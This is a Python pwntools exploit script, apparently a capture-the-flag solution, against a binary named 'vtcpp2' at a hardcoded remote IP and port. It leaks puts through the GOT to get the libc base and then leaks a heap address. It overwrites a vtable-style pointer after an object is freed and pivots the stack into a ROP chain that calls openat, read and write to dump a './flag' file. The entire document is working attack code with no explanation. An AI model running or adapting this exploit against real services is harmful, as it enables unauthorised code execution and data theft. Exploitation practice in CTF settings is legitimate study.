1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140
|
from pwn import * import os r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True) ru = lambda x : io.recvuntil(x, drop = True) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug' context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64'
elf_path = 'vtcpp2'
host = "183.129.189.60:10000"
LOCAL = 0 LIBC = 1
def db(): if(LOCAL): gdb.attach(io)
def ct(name, age, msg): sla('>', '1') sla(':', name) sla(':', str(age)) sla(':', msg)
def rm(): sla('>', '2')
def dp(): sla('>', '3')
def nt(sz, d): sla('>', '4') sla(':', str(sz)) sa(':', d)
def exploit(): li('exploit...')
puts_info = 0x4019A0 msg_buf = 0x603360 chunk_ptr = 0x603340
ct('i0gan', 19, p64(puts_info)) rm() nt(0x38, p64(msg_buf) + p64(0) + p64(elf.got['puts'])) dp() ru('name :') leak = u64(ru('\x0a')[-5:] + b'\x7f\x00\x00') libc_base = leak - libc.sym['puts'] li('leak: ' + hex(leak)) li('libc_base: ' + hex(libc_base))
if(LOCAL): nt(0xa0, 'buf') else: nt(0xa0, 'buf')
ct('i0gan', 19, p64(puts_info)) rm() nt(0x38, p64(msg_buf) + p64(0) + p64(chunk_ptr)) dp() ru('name :') heap = u64(ru('\x0a')[-5:] + b'\x00\x00\x00') li('heap: ' + hex(heap))
gadget = libc_base + 0x7371E rop_addr = heap + 0x40 + 0xe8 ct('i0gan', 19, p64(gadget)) rm() nt(0x38, p64(msg_buf)) ret = 0x400538 pop_rdi = 0x401ca3 leave_ret = 0x401961 add_rsp_ret = libc_base + 0x13882b openat = libc_base + libc.sym['openat'] pop_rdx_rsi = libc_base + 0x115189
p = p64(1) + p64(add_rsp_ret) p += b'./flag'.ljust(0x10, b'\x00') p += p64(leave_ret) p = p.ljust(0x98 - 0x40, b'\x00') p += p64(heap + 0x80) p += p64(0) * 3 rop = flat([ ret, pop_rdi, 0xffffff9c, pop_rdx_rsi, 0, heap + 0x90, openat, pop_rdi, 3, pop_rdx_rsi, 0x100, heap, libc_base + libc.sym['read'], pop_rdi, 1, libc_base + libc.sym['write'] ]) p += rop nt(0x200, p) dp()
def finish(): ia() c()
if __name__ == '__main__': if LOCAL: libc_path = '/glibc/2.23/64/lib/libc.so.6' libc_path = './libc-2.23.so' elf = ELF(elf_path) if LIBC: libc = ELF(libc_path) io = process([elf_path], env={"LD_PRELOAD":"./libc-2.23.so"}) else: libc_path = './libc-2.23.so' elf = ELF(elf_path) io = remote(host.split(':')[0], int(host.split(':')[1])) if LIBC: libc = ELF(libc_path) exploit() finish()
|